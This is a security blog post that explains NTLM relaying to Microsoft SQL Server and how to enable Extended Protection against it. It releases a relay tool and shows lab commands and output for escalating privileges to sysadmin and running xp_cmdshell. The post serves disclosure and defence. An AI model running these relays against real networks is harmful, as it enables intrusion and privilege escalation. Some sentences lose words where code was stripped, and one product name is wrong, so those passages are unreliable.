Readers of this blog probably know that I like to try NTLM relaying over all protocols possible! Relaying to Microsoft SQL (MSSQL) is known to work when using the default weak configuration.
With this blog post, we show some dangerous configurations and release a small tool to automate NTLM relaying in these cases.
NTLM Relay 101
In an NTLM relay attack, an attacker in a man-in-the-middle position relays an NTLM three-way handshake to a target of their choosing in order to impersonate the victim on the target.
Depending on the configuration of the MSSQL client and server, the communication can be encrypted or plaintext.
Optionally, the TDS protocol has implementations for the following protocols on top of the preceding transports:
With encryption, another feature called Extended Protection is available since Windows 2018 R2 and Windows 7. Service Binding and Channel Binding can be enforced and protect against relaying attacks but this feature is disabled by default.
How to enable Extended Protection
The Microsoft documentation explains nicely how to configure Extended Protection.
For extended protection to be supported, encryption must be enforced. To this end, open the SQL Server Configuration Manager, find the Protocols in the Network Configuration and switch the “Force Encryption” flag to “Yes”.
In the “Advanced” tab of the protocols properties, you can set “Extended Protection” to “Off”, “Allowed” or “Required”.
Relaying to MSSQL
If Extended Protection is disabled, one can relay to MSSQL. A proof of concept attack has existed in impacket’s ntlmrelayx since many years. I changed the attack a little bit recently to make it easier to use. Here’s what it may look like:
$ ntlmrelayx.py -t mssql://ws1.child.testlab.local -i -smb2support --no-multirelay Impacket v0.10.1.dev1+20230425.94702.fadd61c8 - Copyright 2022 Fortra [CUT BY COMPASS] [*] Servers started, waiting for connections [*] SMBD-Thread-5 (process_request_thread): Received connection from 10.0.1.101, attacking target mssql://ws1.child.testlab.local [*] Authenticating against mssql://ws1.child.testlab.local as CHILD/DDRAKE SUCCEED [!] Press help for extra shell commands SQL (child\ddrake guest@master)> enum_users UserName RoleName LoginName DefDBName DefSchemaName UserID SID ------------------ -------- --------- --------- ------------- ---------- ----- dbo db_owner sa master dbo b'1 ' b'01' guest public NULL NULL guest b'2 ' b'00' INFORMATION_SCHEMA public NULL NULL NULL b'3 ' NULL sys public NULL NULL NULL b'4 ' NULL
In this example, the victim user connects (via SMB) to the attacker host and the connection is relayed to the MSSQL server. As a result, the attacker can run SQL queries on the server.
Running SQL queries in the name of other users is interesting, but elevating privileges to sysadmin would be nicer and may allow executing code on the server.
Multiple Databases same Service Account
It is best practice to use a dedicated service account for running your MSSQL service (as opposed to using SYSTEM). If several instances of MSSQL Server are running under the same service account, this introduces new risks:
- Compromise of one instance may lead to the compromise of the others
- One may relay a connection from one instance to another
Triggering SMB connection from database
Among the many features of MSSQL, it is possible to handle files. The known stored procedures
xp_dirtree can be misused to trigger an SMB connection to a chosen target. Standard DB users should never have permission to execute these procedures.
From user to SA
If both misconfigurations above are present, one can combine two NTLM relays to elevate privileges from user to sysadmin:
- Relay a user’s connection to a first MSSQL server and trigger
- Relay the service account’s connection to a second MSSQL server and act as sysadmin
We released a tool on github. The tool allows to quickly get an overview of MSSQL instances in a Microsoft Active Directory, find the misconfigurations mentioned above and exploit the two-step relay easily.
We first want to enumerate MSSQL instances in the domain based on SPNs:
$ mssqlrelay checkall -scheme ldap -target child.testlab.local -ns 10.0.1.100 -u email@example.com -p 'Burp!=B33F' -windows-auth MSSQLRelay v1.0 - by Sylvain Heiniger (@sploutchy) / Compass Security (https://www.compass-security.com) [*] SPNs in domain CHILD.TESTLAB.LOCAL: [*] - MSSQLSvc/fs1.child.testlab.local:1433 (running as svc_sql) [*] - MSSQLSvc/ws1.child.testlab.local:1433 (running as svc_sql) [*] Checking found instances ... [*] fs1.child.testlab.local (10.0.1.101:1433) [*] - Version: Microsoft SQL Server 2019 RTM (15.0.2000) [*] - Encryption: enforced [*] - Login: successful (as TMASSIE) [*] - DB user: guest [*] - Database: master [*] - Privileges: ['xp_dirtree', 'xp_fileexist'] [*] - SysAdmin: No [*] ws1.child.testlab.local (10.0.1.103:1433) [*] - Version: Microsoft SQL Server 2019 RTM (15.0.2000) [*] - Encryption: not enforced [*] - Login: successful (as TMASSIE) [*] - DB user: guest [*] - Database: master [*] - Privileges: ['xp_dirtree', 'xp_fileexist'] [*] - SysAdmin: No
From this output, we know that both SPNs are registered to the same service account (
svc_sql). This user has SA privileges on the databases. Our user
tmassie has no admin privileges but can execute
fs1 and encryption is not enforced on
ws1. We can relay from
ws1 and elevate privileges!
$ mssqlrelay relay -target fs1.child.testlab.local -u firstname.lastname@example.org -p 'Burp!=B33F' ws1.child.testlab.local 10.0.1.15 MSSQLRelay v1.0 - by Sylvain Heiniger (@sploutchy) / Compass Security (https://www.compass-security.com) [*] Listening on 0.0.0.0:445 [*] Authenticating to victim 10.0.1.101 [*] Triggering connection to \\10.0.1.15\FZqxFiLX [!] Press help for extra shell commands SQL (child\svc_sql dbo@master)> xp_cmdshell whoami output ------------- child\svc_sql NULL SQL (child\svc_sql dbo@master)> exit [*] Shutting down [*] Exiting...
Please note that the tool is experimental and was not tested in depth. If you encounter any issue or have feature requests, please open an issue or a merge request!